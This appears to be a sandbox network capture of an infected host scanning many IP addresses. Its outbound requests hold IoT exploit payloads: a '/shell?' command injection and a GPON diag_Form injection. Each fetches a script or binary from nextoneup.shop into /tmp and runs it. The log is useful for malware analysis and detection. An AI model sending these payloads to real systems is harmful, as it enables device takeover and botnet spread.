Session ID	Source IP	Source Port	Destination IP	Destination Port
1766	192.168.2.13	52936	136.226.64.127	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:08.130794048 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:08.301979065 CEST	1289	IN	HTTP/1.1 403 Forbidden Content-Type: text/html Server: Zscaler/6.2 Cache-Control: no-cache Access-Control-Allow-Origin: * Content-length: 13657 Data Raw: 3c 21 2d 2d 23 20 49 64 3a 20 63 6c 6f 73 65 64 70 72 6f 78 79 2e 68 74 6d 6c 20 32 38 35 31 34 34 20 32 30 32 31 2d 30 36 2d 31 36 20 30 35 3a 30 32 3a 30 36 5a 20 73 7a 68 61 6e 67 20 2d 2d 3e 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 63 2e 6f 72 67 2f 54 52 2f 31 39 39 39 2f 52 45 43 2d 68 74 6d 6c 34 30 31 2d 31 39 39 39 31 32 32 34 2f 6c 6f 6f 73 65 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 5a 73 63 61 6c 65 72 20 6d 61 6b 65 73 20 74 68 65 20 69 6e 74 65 72 6e 65 74 20 73 61 66 65 20 66 6f 72 20 62 75 73 69 6e 65 73 73 65 73 20 62 79 20 70 72 6f 74 65 63 74 69 6e 67 20 74 68 65 69 72 20 65 6d 70 6c 6f 79 65 65 73 20 66 72 6f 6d 20 6d 61 6c 77 61 72 65 2c 20 76 69 72 75 73 65 73 2c 20 61 6e 64 20 6f 74 68 65 72 20 73 65 63 75 72 69 74 79 20 74 68 72 65 61 74 73 2e 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 3c 74 69 74 6c 65 3e 49 6e 74 65 72 6e 65 74 20 53 65 63 75 72 69 74 79 20 62 79 20 5a 73 63 61 6c 65 72 3c 2f 74 69 74 6c 65 3e 0a 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 4a 61 76 61 53 63 72 69 70 74 22 3e 76 61 72 20 64 65 66 4c 61 6e 67 20 3d 20 27 65 6e 5f 55 53 27 3c 2f 73 63 72 69 70 74 3e 0a 3c 21 2d 2d 3c 69 6d 67 20 61 6c 74 3d 22 5a 73 63 61 6c 65 72 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 6c 6f 67 69 6e 2e 7a 73 63 61 6c 65 72 2e 6e 65 74 2f 69 6d 67 5f 6c 6f 67 6f 5f 6e 65 77 31 2e 70 6e 67 22 3e 2d 2d 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 62 6f 64 79 20 7b 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 65 33 65 33 65 33 3b 0a 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 41 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 0a 63 6f 6c 6f 72 3a 23 34 42 34 46 35 34 3b 0a 7d 0a 61 20 7b 0a 63 75 72 73 6f 72 3a 70 6f 69 6e 74 65 72 3b 0a 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 3b 0a 63 6f 6c 6f 72 3a 23 30 30 39 64 64 30 3b 0a 7d 0a 74 61 62 6c 65 20 7b 0a 6d 61 72 67 69 6e 2d 74 6f 70 3a 31 30 70 78 3b 0a 7d 0a 74 64 20 74 61 62 6c 65 20 7b 0a 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 0a 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 0a 7d 0a 69 6d 67 20 7b 0a 6d 61 78 2d 68 65 69 67 68 74 3a 37 35 70 78 3b 0a 6d 61 78 2d 77 69 64 74 68 3a 34 33 30 70 78 3b 0a 7d 0a 2e 70 67 20 7b 0a 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 0a 74 6f 70 3a 30 3b 0a 62 6f 74 74 6f 6d 3a 30 3b 0a 6c 65 66 74 3a 30 3b 0a 72 69 67 68 74 3a 30 3b 0a 6f 76 65 72 66 6c 6f 77 2d 78 3a 68 69 64 64 65 6e 3b 0a 77 68 69 74 65 2d 73 70 61 63 65 3a 6e 6f 77 72 61 70 3b 0a 7d 0a 2e 70 67 3a 62 65 66 6f 72 65 20 7b 0a 63 6f 6e 74 65 6e 74 3a 22 22 3b 0a 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f Data Ascii: ...# Id: closedproxy.html 285144 2021-06-16 05:02:06Z szhang --><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3c.org/TR/1999/REC-html401-19991224/loose.dtd"><html><head><meta name="description" content="Zscaler makes the internet safe for businesses by protecting their employees from malware, viruses, and other security threats."><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><meta name="viewport" content="width=device-width, initial-scale=1"><title>Internet Security by Zscaler</title><script language="JavaScript">var defLang = 'en_US'</script>...<img alt="Zscaler" src="https://login.zscaler.net/img_logo_new1.png">--><style type="text/css">body {background-color:#e3e3e3;font-family:Arial, sans-serif;font-size:12px;color:#4B4F54;}a {cursor:pointer;text-decoration:none;color:#009dd0;}table {margin-top:10px;}td table {margin-top:0;text-align:center;}img {max-height:75px;max-width:430px;}.pg {position:absolute;top:0;bottom:0;left:0;right:0;overflow-x:hidden;white-space:nowrap;}.pg:before {content:"";display:inline-blo
Apr 14, 2024 04:01:08.302017927 CEST	1289	IN	Data Raw: 63 6b 3b 0a 68 65 69 67 68 74 3a 31 30 30 25 3b 0a 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 6d 69 64 64 6c 65 3b 0a 7d 0a 2e 70 67 5f 63 6f 6e 74 20 7b 0a 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 0a 76 65 72 74 69 63 61 Data Ascii: ck;height:100%;vertical-align:middle;}.pg_cont {display:inline-block;vertical-align:middle;width:100%;position:relative;}.a_i {width:19px;height:19px;margin-right:10px;background-size: 19px 19px;display:inline-block;}.m_tbl {
Apr 14, 2024 04:01:08.302056074 CEST	1289	IN	Data Raw: 2e 61 5f 69 20 7b 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 20 75 72 6c 28 27 64 61 74 61 3a 69 6d 61 67 65 2f 70 6e 67 3b 62 61 73 65 36 34 2c 69 56 42 4f 52 77 30 4b 47 67 6f 41 41 41 41 4e 53 55 68 45 55 67 41 41 41 47 51 41 41 41 Data Ascii: .a_i {background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAGQAAABkCAYAAABw4pVUAAAFgUlEQVR4nO2dOWxcVRSGP0+wWWKSiC1WMAV7SAI0bBLBLBI0bEUSyiSAFCOgYLMpEBA3JCEUCISQEBIIKtIgpaCho6KhAglkCQlRRBAhKBIQW4Di5iHH+M28c+85955h7leO5y6eb972v/P

Session ID	Source IP	Source Port	Destination IP	Destination Port
1767	192.168.2.13	50478	23.79.27.90	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:08.176095009 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:08.393429995 CEST	532	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 310 Expires: Sun, 14 Apr 2024 02:01:08 GMT Date: Sun, 14 Apr 2024 02:01:08 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 31 33 61 62 64 62 31 37 26 23 34 36 3b 31 37 31 33 30 36 30 30 36 38 26 23 34 36 3b 34 65 33 33 31 61 66 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 39 26 23 34 36 3b 31 33 61 62 64 62 31 37 26 23 34 36 3b 31 37 31 33 30 36 30 30 36 38 26 23 34 36 3b 34 65 33 33 31 61 66 3c 2f 50 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.13abdb17.1713060068.4e331af<P>https://errors.edgesuite.net/9.13abdb17.1713060068.4e331af</P></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1768	192.168.2.13	60042	204.114.95.126	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:08.197623014 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:08.435282946 CEST	500	IN	HTTP/1.1 404 Not Found Date: Sun, 14 Apr 2024 02:01:08 GMT Server: Apache/2.4.38 (Debian) Content-Length: 271 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 33 38 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.38 (Debian) Server at 127.0.0.1 Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1769	192.168.2.13	45670	35.233.4.129	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:08.272967100 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:08.584580898 CEST	433	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 14 Apr 2024 02:01:08 GMT Content-Type: text/html Content-Length: 162 Connection: keep-alive Location: https://127.0.0.1/shell?cd+/tmp;rm+-rf+*;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws Server: Ops Manager Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1770	192.168.2.13	34374	209.200.67.104	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:08.360014915 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:09.320261955 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:10.440264940 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:12.808366060 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:17.416229010 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:26.376230955 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:44.552180052 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1771	192.168.2.13	55302	52.193.158.255	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:08.547467947 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1772	192.168.2.13	53158	123.56.68.237	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:08.634582043 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1773	192.168.2.13	34740	109.234.0.81	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:09.149825096 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1774	192.168.2.13	53130	2.184.159.164	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:09.149848938 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1775	192.168.2.13	35516	94.131.68.134	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:09.149863005 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1776	192.168.2.13	43150	5.41.72.12	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:09.149898052 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1777	192.168.2.13	54312	118.80.13.79	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:09.149898052 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1778	192.168.2.13	58454	117.245.238.207	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:09.149916887 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1779	192.168.2.13	54476	79.12.131.154	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:09.149930954 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1780	192.168.2.13	46058	202.83.48.197	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:09.149955988 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1781	192.168.2.13	57676	118.146.227.55	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:09.149967909 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1782	192.168.2.13	48640	210.126.82.17	443

Timestamp	Bytes transferred	Direction	Data
